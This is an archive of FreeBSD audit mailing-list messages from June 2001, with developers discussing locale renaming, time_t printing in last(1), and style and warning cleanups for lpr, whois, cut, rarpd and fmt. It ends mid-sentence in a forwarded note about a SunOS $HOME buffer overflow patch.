From owner-freebsd-audit Sun Jun 3 0:35:38 2001 Delivered-To: freebsd-audit@freebsd.org Received: from mail.mk.bsdclub.org (adsl2049.ea.rim.or.jp [202.247.148.49]) by hub.freebsd.org (Postfix) with ESMTP id 6373937B422; Sun, 3 Jun 2001 00:35:32 -0700 (PDT) (envelope-from motoyuki@mk.bsdclub.org) Received: from sakura.mk.bsdclub.org (sakura.mk.bsdclub.org [3ffe:505:2022:0:2a0:c9ff:fe20:9aff]) by mail.mk.bsdclub.org (8.11.3+3.4W/3.7W/smtpfeed 1.12) with ESMTP/inet6 id f537ZUW12765; Sun, 3 Jun 2001 16:35:30 +0900 (JST) Received: from sakura.mk.bsdclub.org (localhost.mk.bsdclub.org [127.0.0.1]) by sakura.mk.bsdclub.org (8.11.3/3.7W) with ESMTP/inet id f537ZU500581; Sun, 3 Jun 2001 16:35:30 +0900 (JST) Message-Id: <200106030735.f537ZU500581@sakura.mk.bsdclub.org> To: "Andrey A. Chernov" Cc: Motoyuki Konno , CHOI Junho , i18n@FreeBSD.ORG, audit@FreeBSD.ORG Subject: Re: 2CFR: locale names renaming From: Motoyuki Konno X-Mailer: mh-e on Mule 2.3 / Emacs 19.34.1 References: <20010602040851.A34526@nagual.pp.ru> <86ofs7thvy.fsf@gradius.wdb.co.kr> <20010602143139.A43237@nagual.pp.ru> <200106021345.f52DjJ218044@sakura.mk.bsdclub.org> <20010603002153.A48861@nagual.pp.ru> <200106030035.f530Zu247879@sakura.mk.bsdclub.org> <20010603092746.A53677@nagual.pp.ru> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Date: Sun, 03 Jun 2001 16:35:30 +0900 Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Andrey A. Chernov" wrote: > > If so, why both ru_SU.* and ru_RU.* co-exist in 4-stable? > > They should not. ru_SU should be deleted. I don't have -stable machine > available and can't devote time for its development, so don't know > exact state of -stable changes made by other people. I want to say is: Russian FreeBSD users had a very long time to change their locale name setting (from ru_SU.* to ru_RU.*). Both locale name (ru_SU.* and ru_RU.*) co-exist in FreeBSD 4.*-RELEASE. Japanese (and Korean and Chinese) FreeBSD users also want enough time to change locale name setting. Immediate transition (for example, from ja_JP.EUC to ja_JP.eucJP) is not fair. > > 5-current (5-stable after 5.0-RELEASE) branch : both old and new locale > > It is already impossible, -current and -stable locales are incompatible. Probably, you misunderstand my mail. "old and new local" I said is "locale name". It is possible to support both old (ja_JP.EUC, ko_KO.EUC, ...) and new (ja_JP.eucJP, ko_KO.eucKO, ...) locale name. I propose the following plan: -------- old locale name : ja_JP.EUC, ko_KO.EUC, zh_CN.EUC, zh_TW.Big5 new locale name : ja_JP.eucJP, ko_KO.eucKO, zh_CN.eucCN, zh_TW.BIG5 Plan for 5-current (5-stable after 5.0-RELEASE) branch: support both old locale name and new locale name Plan for future 6-current branch: delete old locale name. only support new locale name. -------- -- ------------------------------------------------------------------------ Motoyuki Konno motoyuki@bsdclub.org (Home) motoyuki@FreeBSD.ORG (FreeBSD Project) http://www.freebsd.org/~motoyuki/ (WWW) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Sun Jun 3 0:49:54 2001 Delivered-To: freebsd-audit@freebsd.org Received: from white.imgsrc.co.jp (ns.imgsrc.co.jp [210.226.20.2]) by hub.freebsd.org (Postfix) with ESMTP id F0C0B37B401; Sun, 3 Jun 2001 00:49:47 -0700 (PDT) (envelope-from kuriyama@imgsrc.co.jp) Received: from waterblue.imgsrc.co.jp (kuriyama@waterblue.imgsrc.co.jp [210.226.20.160]) by white.imgsrc.co.jp (8.11.2/8.11.0) with ESMTP id f537nkf13934; Sun, 3 Jun 2001 16:49:46 +0900 (JST) Date: Sun, 03 Jun 2001 16:49:42 +0900 Message-ID: <7mlmnac8a1.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: i18n@FreeBSD.ORG, audit@FreeBSD.ORG Subject: Re: 2CFR: locale names renaming In-Reply-To: <20010602143139.A43237@nagual.pp.ru> References: <20010602040851.A34526@nagual.pp.ru> <86ofs7thvy.fsf@gradius.wdb.co.kr> <20010602143139.A43237@nagual.pp.ru> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At Sat, 2 Jun 2001 10:31:58 +0000 (UTC), Andrey A. Chernov wrote: > It is possible (via symlinks) but I don't think it is good idea, even for > transition period. If we preserve compatibility, people never change their > environment LANG variables, so programs which parse LANG directly will be > in trouble since in each and every such programs we need to add both > variants. So there is no advantage of using new scheme since old scheme > must be coded each time too. We already have too many locale changes in > -current to make it is already incompatible with 4.3 locale, so yet one > incompatible change don't play role here. Hmm, it seems you are saying funny joke. :-) Making a transition period is usual method in our project and it works well before now. I don't think people *never* change their LANG environment. We can announce this serious change via web, release note and HEADS UP posting to mailing list. Additionally, we can deploy this new locale name on the magazine. We have some magazines which is specific to FreeBSD, *BSD and UNIX in Japan. If we have enough transition period, we can write articles on that magazines and many readers can know that news. Changing without transition period is not acceptable at least for me. -- Jun Kuriyama // IMG SRC, Inc. // FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Sun Jun 3 2: 6:13 2001 Delivered-To: freebsd-audit@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id 91E2A37B401; Sun, 3 Jun 2001 02:06:09 -0700 (PDT) (envelope-from ache@nagual.pp.ru) Received: (from ache@localhost) by nagual.pp.ru (8.11.3/8.11.3) id f5395sg56179; Sun, 3 Jun 2001 13:05:54 +0400 (MSD) (envelope-from ache) Date: Sun, 3 Jun 2001 13:05:54 +0400 From: "Andrey A. Chernov" To: Jun Kuriyama Cc: i18n@FreeBSD.ORG, audit@FreeBSD.ORG Subject: Re: 2CFR: locale names renaming Message-ID: <20010603130553.A56150@nagual.pp.ru> References: <20010602040851.A34526@nagual.pp.ru> <86ofs7thvy.fsf@gradius.wdb.co.kr> <20010602143139.A43237@nagual.pp.ru> <7mlmnac8a1.wl@waterblue.imgsrc.co.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <7mlmnac8a1.wl@waterblue.imgsrc.co.jp>; from kuriyama@imgsrc.co.jp on Sun, Jun 03, 2001 at 04:49:42PM +0900 Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Jun 03, 2001 at 16:49:42 +0900, Jun Kuriyama wrote: > > Changing without transition period is not acceptable at least for me. > Well, lets have transition period coexisting new and old names in 5.0, also I not like this much. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Sun Jun 3 3:58: 8 2001 Delivered-To: freebsd-audit@freebsd.org Received: from white.imgsrc.co.jp (ns.imgsrc.co.jp [210.226.20.2]) by hub.freebsd.org (Postfix) with ESMTP id 4918337B401; Sun, 3 Jun 2001 03:58:03 -0700 (PDT) (envelope-from kuriyama@imgsrc.co.jp) Received: from waterblue.imgsrc.co.jp (kuriyama@waterblue.imgsrc.co.jp [210.226.20.160]) by white.imgsrc.co.jp (8.11.2/8.11.0) with ESMTP id f53Aw1f14785; Sun, 3 Jun 2001 19:58:02 +0900 (JST) Date: Sun, 03 Jun 2001 19:57:56 +0900 Message-ID: <7m8zj9vnij.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: i18n@FreeBSD.ORG, audit@FreeBSD.ORG Subject: Re: 2CFR: locale names renaming In-Reply-To: <20010603130553.A56150@nagual.pp.ru> References: <20010602040851.A34526@nagual.pp.ru> <86ofs7thvy.fsf@gradius.wdb.co.kr> <20010602143139.A43237@nagual.pp.ru> <7mlmnac8a1.wl@waterblue.imgsrc.co.jp> <20010603130553.A56150@nagual.pp.ru> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Well, lets have transition period coexisting new and old names in 5.0, > also I not like this much. Thank you for changing your mind. I'll try to promote using new locale names in transition period. Thanks! -- Jun Kuriyama // IMG SRC, Inc. // FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Sun Jun 3 5:52:30 2001 Delivered-To: freebsd-audit@freebsd.org Received: from daemon.kr.FreeBSD.org (daemon.kr.freebsd.org [211.176.62.31]) by hub.freebsd.org (Postfix) with ESMTP id 2887737B401; Sun, 3 Jun 2001 05:52:07 -0700 (PDT) (envelope-from cjh@kr.FreeBSD.ORG) Received: from gradius.wdb.co.kr (daemon [211.176.62.31]) by daemon.kr.FreeBSD.org (Postfix) with ESMTP id 300258F629; Sun, 3 Jun 2001 21:29:06 +0900 (KST) Received: (from cjh@localhost) by gradius.wdb.co.kr (8.11.4/8.11.3) id f53CPHX02341; Sun, 3 Jun 2001 21:25:17 +0900 (KST) (envelope-from cjh@kr.FreeBSD.ORG) X-Authentication-Warning: gradius.wdb.co.kr: cjh set sender to cjh@kr.FreeBSD.ORG using -f To: Motoyuki Konno Cc: "Andrey A. Chernov" , i18n@FreeBSD.ORG, audit@FreeBSD.ORG Subject: Re: 2CFR: locale names renaming References: <20010602040851.A34526@nagual.pp.ru> <86ofs7thvy.fsf@gradius.wdb.co.kr> <20010602143139.A43237@nagual.pp.ru> <200106021345.f52DjJ218044@sakura.mk.bsdclub.org> <20010603002153.A48861@nagual.pp.ru> <200106030035.f530Zu247879@sakura.mk.bsdclub.org> <20010603092746.A53677@nagual.pp.ru> <200106030735.f537ZU500581@sakura.mk.bsdclub.org> From: CHOI Junho Organization: Korea FreeBSD Users Group Date: 03 Jun 2001 21:24:50 +0900 In-Reply-To: <200106030735.f537ZU500581@sakura.mk.bsdclub.org> Message-ID: <86vgmdlpil.fsf@gradius.wdb.co.kr> Lines: 24 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >>>>> "MK" == Motoyuki Konno writes: MK> I propose the following plan: MK> -------- MK> old locale name : ja_JP.EUC, ko_KO.EUC, zh_CN.EUC, zh_TW.Big5 MK> new locale name : ja_JP.eucJP, ko_KO.eucKO, zh_CN.eucCN, zh_TW.BIG5 ko_KO -> ko_KR MK> Plan for 5-current (5-stable after 5.0-RELEASE) branch: MK> support both old locale name and new locale name MK> Plan for future 6-current branch: MK> delete old locale name. only support new locale name. After transition period, can we remove alias(and, if can, libxpg4) before releasing 5.0? -- +++ Any opinions in this posting are my own and not those of my employers +++ CHOI Junho [sleeping now] [while sleeping] Korea FreeBSD Users Group Web Data Bank To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Sun Jun 3 10:56:41 2001 Delivered-To: freebsd-audit@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.22.40]) by hub.freebsd.org (Postfix) with ESMTP id 1B5B737B407 for ; Sun, 3 Jun 2001 10:56:39 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.11.3/8.11.3) with ESMTP id f53HuaS34974; Sun, 3 Jun 2001 13:56:36 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <20010530032324.6D5A13E0B@bazooka.unixfreak.org> References: <20010530032324.6D5A13E0B@bazooka.unixfreak.org> Date: Sun, 3 Jun 2001 13:56:33 -0400 To: Dima Dorfman , audit@FreeBSD.ORG From: Garance A Drosihn Subject: Re: last(1) WARNS patch for review Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 8:23 PM -0700 5/29/01, Dima Dorfman wrote: >Please review the attached patch to last(1) which silences >most of the warnings. I'm particuarly doubtful about the >printf formatting changes. They seem to be correct, but >there might've been a reason why they were originally >written incorrectly (a reason other than not compiling >with the right -W flags). There are a number of hairy issues when going to print out a time_t. See my recent message to -arch, where I quoted most of Garrett Wollman's recent message to -stable. In short: A time_t can be integral, floating-point, or complex. It can be signed or unsigned. It can be "regular size" or "long". When it comes to printing, Garrett mentioned: There is a simple way around this, for POSIX systems only: use strftime() with the %s format. which I assume means that freebsd has %s in strftime. If so, then maybe the wisest change for 'last' would be to call strftime() to get the right string. -- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Sun Jun 3 15: 8:48 2001 Delivered-To: freebsd-audit@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.22.40]) by hub.freebsd.org (Postfix) with ESMTP id EF64F37B401 for ; Sun, 3 Jun 2001 15:08:44 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.11.3/8.11.3) with ESMTP id f53M88S130618; Sun, 3 Jun 2001 18:08:08 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: Date: Sun, 3 Jun 2001 18:08:06 -0400 To: freebsd-print@bostonradio.org, freebsd-audit@freebsd.org From: Garance A Drosihn Subject: Large Cleanup update for lpr & friends Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I started to write an update to eliminate some of the warnings one gets when compiling lpr with BDECFLAGS. To do that, I needed to add 'const' to various parameters in procedure declarations. As long as I was going to be hitting several procedure declarations, I also decided to ANSI-ify all of lpr. I have eliminated __P(), and modernized the actual routine definitions as described in style(9). I tried to get all the details right, such as tabbing and using "protected names" in the declarations. In some cases I renamed a few parameters to fix warnings about "declaration of `blah' shadows global declaration" While making all of these changes, I used 'md5' to be sure the object code did not change. Thus, while this does try to do a lot of cleanup, it only cleans up those things which would not change any object code. This eliminated about 100 (out of 300) warnings that one gets when compiling lpr with BDECFLAGS. The patch is about 2300 lines, so I think I'll post a url instead of including the whole patch here. The result is at: ftp://freefour.acs.rpi.edu/pub/bsdlpr/lpr-spruce.diff Please let me know if I got any "cleanup details" wrong, as long as it's cleanup that won't change the object code. I'm obviously hoping to apply this to current "sometime soon", as it's a large patch and would probably conflict with any other patch that anyone might happen to write for lpr. Also, I intend to follow up this patch with some more patches to lpr & friends. "Sometime soon" would be next weekend at the earliest, or later if there is any feedback coming in. I don't mind waiting longer just as long as OTHER people don't panic and start rushing in any updates THEY might have lying around... If I should post the whole patch to freebsd-audit, let me know. Also note that this does NOT change the makefile to turn on BDECFLAGS, I only add those on my test system. -- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Sun Jun 3 15:12:55 2001 Delivered-To: freebsd-audit@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.22.40]) by hub.freebsd.org (Postfix) with ESMTP id D440F37B403 for ; Sun, 3 Jun 2001 15:12:53 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.11.3/8.11.3) with ESMTP id f53MCqS29638; Sun, 3 Jun 2001 18:12:52 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: References: Date: Sun, 3 Jun 2001 18:12:50 -0400 To: freebsd-print@bostonradio.org, freebsd-audit@FreeBSD.ORG From: Garance A Drosihn Subject: Re: Large Cleanup update for lpr & friends Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 6:08 PM -0400 6/3/01, Garance A Drosihn wrote: >While making all of these changes, I used 'md5' to be >sure the object code did not change. Thus, while this >does try to do a lot of cleanup, it only cleans up those >things which would not change any object code. > >The patch is about 2300 lines, so I think I'll post a >url instead of including the whole patch here. ...let's call it "A whole lotta nothing going on" -- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Sun Jun 3 16: 7:38 2001 Delivered-To: freebsd-audit@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 5360637B401 for ; Sun, 3 Jun 2001 16:07:35 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id JAA30589; Mon, 4 Jun 2001 09:07:19 +1000 Date: Mon, 4 Jun 2001 09:05:42 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Garance A Drosihn Cc: Dima Dorfman , audit@FreeBSD.ORG Subject: Re: last(1) WARNS patch for review In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 3 Jun 2001, Garance A Drosihn wrote: > At 8:23 PM -0700 5/29/01, Dima Dorfman wrote: > >Please review the attached patch to last(1) which silences > >most of the warnings. I'm particuarly doubtful about the > >printf formatting changes. They seem to be correct, but > >there might've been a reason why they were originally > >written incorrectly (a reason other than not compiling > >with the right -W flags). > > There are a number of hairy issues when going to print out a > time_t. See my recent message to -arch, where I quoted most > of Garrett Wollman's recent message to -stable. In short: > > A time_t can be integral, floating-point, or complex. It can > be signed or unsigned. It can be "regular size" or "long". > > When it comes to printing, Garrett mentioned: > There is a simple way around this, for POSIX systems > only: use strftime() with the %s format. > > which I assume means that freebsd has %s in strftime. If so, > then maybe the wisest change for 'last' would be to call > strftime() to get the right string. Using strftime() would be especially silly in last(1), since the value to be printed is the difference of two time_t's, and C90 provides a perfectly portable way of printing differences of time_t's: /* The following only assumes that difftime() actually works. */ printf("%g", difftime(time1, time0)); Dima didn't like my suggestion of using difftime() much, and neither do I. It is overkill for a POSIX environment, since a (not so) simple subtraction can be used. The time_t's whose difference is being taken are the login and logout times. These times can't possibly be more than 68 years apart until about 2061, since FreeBSD didn't exist until about 1993, and they are unlikely to be more than 68 years apart after 2061. Therefore, the time difference is representable as a long, and on POSIX systems the difference can be computed by simple subtraction (assuming that the login time is not after the loguout time so that there are no sign extension problems), and the above can be simplified to: /* The following assumes POSIX && time1 >= time0 && difference small. */ printf("%ld", (long)(time1 - time0)); But using difftime() is much simpler than using strftime(). Half of the above analysis must be repeated to ensure that (time_t)(time1 - time0) works right. It's interesting that difftime() can't fail in C90. This implies that doubles can exactly represent the difference between all times that can be represented as time_t's or that the implementation is of low quality. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Sun Jun 3 17:58: 1 2001 Delivered-To: freebsd-audit@freebsd.org Received: from coffee.q9media.com (coffee.q9media.com [216.94.229.19]) by hub.freebsd.org (Postfix) with ESMTP id 241D537B403 for ; Sun, 3 Jun 2001 17:57:59 -0700 (PDT) (envelope-from mike@q9media.com) Received: from [192.168.1.10] (vega.tct.net [216.94.230.13]) by coffee.q9media.com (8.11.2/8.11.2) with ESMTP id f5417JL94692; Sun, 3 Jun 2001 21:07:19 -0400 (EDT) (envelope-from mike@q9media.com) User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Date: Sun, 03 Jun 2001 20:57:55 -0400 Subject: Re: whois(1) patch From: Mike Barcroft To: Garance A Drosihn Cc: , Mike Heffner Message-ID: In-Reply-To: Mime-version: 1.0 Organization: q9 media Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 6/3/01 1:50 AM, Garance A Drosihn at drosih@rpi.edu wrote: > At 6:26 PM -0400 5/31/01, Mike Heffner wrote: >> On 31-May-2001 Mike Barcroft wrote: >> | >> | I originally made the ANSI C change to silence a warning, but is >> | there any reason not to bring the code up to ANSI C spec? Is it >> | likely that anyone will need to compile whois with a K&R compiler? >> >> It's not likely, but I'm not sure on what the consensus is on >> ANSI-fication. Technically, style(9) says it shouldn't be done in >> this case, but people (myself included) have been removing K&R >> support in small patches like this one. I think there was also talk >> of doing a full sweep to remove __P. > > It is not likely that there will be a specific sweep to get rid > of _P() and to ansi-ify routine declarations. However, the > consensus is that if you are going to be changing the declarations > in some module for OTHER reasons, then you might want to ansi-ify. > > If you're going to ansi-ify, then you should ansi-ify the whole > source file, instead of mixing styles. Agreed. Are there any ANSI-ifications I missed in my patch? Best regards, Mike Barcroft To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Mon Jun 4 0:22:56 2001 Delivered-To: freebsd-audit@freebsd.org Received: from axl.seasidesoftware.co.za (cpt-dial-196-30-179-36.mweb.co.za [196.30.179.36]) by hub.freebsd.org (Postfix) with ESMTP id 351AB37B405 for ; Mon, 4 Jun 2001 00:22:54 -0700 (PDT) (envelope-from sheldonh@starjuice.net) Received: from sheldonh (helo=axl.seasidesoftware.co.za) by axl.seasidesoftware.co.za with local-esmtp (Exim 3.22 #1) id 156ohK-0002ap-00; Mon, 04 Jun 2001 09:22:46 +0200 From: Sheldon Hearn To: Dima Dorfman Cc: audit@freebsd.org Subject: Re: cut(1) WARNS patch In-reply-to: Your message of "Fri, 01 Jun 2001 23:40:44 MST." <20010602064044.AD9263E32@bazooka.unixfreak.org> Date: Mon, 04 Jun 2001 09:22:46 +0200 Message-ID: <9970.991639366@axl.seasidesoftware.co.za> Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 01 Jun 2001 23:40:44 MST, Dima Dorfman wrote: > It's rather trivial, but I'd like someone to confirm that the first > change is correct. 'stop' is a size_t, which is long on the Alpha but > int on the i386. The fix below to print it using %ld and cast it to > long seems to be logically correct (and it works). I've never found a graceful solution for printing integral types of varying bit width using printf. Something that _does_ work is to use a SIZE_T_FMT that's either "%d" or "%ld" conditional on the bit width of size_t. Of course, this gets clumsy unless you're prepared to use ANSI C string concatenation. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Mon Jun 4 6:17:38 2001 Delivered-To: freebsd-audit@freebsd.org Received: from ringworld.nanolink.com (ringworld.nanolink.com [195.24.48.13]) by hub.freebsd.org (Postfix) with SMTP id 296B137B401 for ; Mon, 4 Jun 2001 06:17:35 -0700 (PDT) (envelope-from roam@orbitel.bg) Received: (qmail 21470 invoked by uid 1000); 4 Jun 2001 13:16:28 -0000 Date: Mon, 4 Jun 2001 16:16:28 +0300 From: Peter Pentchev To: audit@FreeBSD.org Subject: rarpd(8) cleanup patch Message-ID: <20010604161628.A20595@ringworld.oblivion.bg> Mail-Followup-To: audit@FreeBSD.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I've had to deal with non-BOOTP-or-DHCP-compliant devices lately (may eternal woe befall the manufacturers of faulty memory chips for Livingston PortMaster 2...), so rarpd(8) was my only option. In the process of changing it, I decided to clean it up a little. At http://people.FreeBSD.org/~roam/bsd/rarpd/usr.sbin-rarpd.patch there is a patch that does the following: - remove 'register' keywords; - add 'const' to a couple of strings; - add prototypes for several missed functions; - several int/u_int/unsigned/long/format cleanups for WARNS=2; - mdoc(7) cleanup for the rarpd.8 manpage. Functions and prototypes were left in K&R style, although an ANSIfication would make the next change a lot easier. Should I ansify the lot? In addition, http://people.FreeBSD.org/~roam/bsd/rarpd/usr.sbin-rarpd-d.patch adds a command-line flag, -d, that makes rarpd(8) send diagnostic messages to stdout, error messages to stderr. This is quite useful when running rarpd(8) under some kind of service monitoring script, e.g. supervise/svscan from DJB's daemontools package. Any comments, flames, and references to the hole that I crawled out of are gladly welcome :) G'luck, Peter -- When you are not looking at it, this sentence is in Spanish. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Mon Jun 4 11:27:26 2001 Delivered-To: freebsd-audit@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id A76CB37B403; Mon, 4 Jun 2001 11:27:17 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f54IRCU67006; Mon, 4 Jun 2001 21:27:12 +0300 (EEST) (envelope-from ru) Date: Mon, 4 Jun 2001 21:27:12 +0300 From: Ruslan Ermilov To: audit@FreeBSD.org Cc: bugs@FreeBSD.org Subject: New fmt(1) Message-ID: <20010604212712.A35399@sunbay.com> Mail-Followup-To: audit@FreeBSD.org, bugs@FreeBSD.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi! http://people.FreeBSD.org/~ru/fmt.patch is a new version of fmt(1) utility submitted originally in PR 5901, and evolved since in OpenBSD. It is basically the OpenBSD version plus ctype(3), WARNS=2, and manpage formatting cleanup. Committing this will close the following PRs: bin/5901, bin/12242, bin/19071 Please review. Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Mon Jun 4 16:55:17 2001 Delivered-To: freebsd-audit@freebsd.org Received: from shade.nectar.com (gw.nectar.com [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id D2ED837B401 for ; Mon, 4 Jun 2001 16:55:10 -0700 (PDT) (envelope-from nectar@nectar.com) Received: (from nectar@localhost) by shade.nectar.com (8.11.3/8.11.3) id f54NtBP48317 for freebsd-audit@freebsd.org; Mon, 4 Jun 2001 18:55:11 -0500 (CDT) (envelope-from nectar) Date: Mon, 4 Jun 2001 18:55:11 -0500 From: "Jacques A. Vidrine" To: freebsd-audit@freebsd.org Subject: Fwd: [$HOME buffer overflow in SunOS 5.8 x86] Message-ID: <20010604185510.B47924@shade.nectar.com> Mail-Followup-To: "Jacques A. Vidrine" , freebsd-audit@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Url: http://www.nectar.com/ Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG There are several other potential overflows (sprintf, strcpy), but here is a patch for 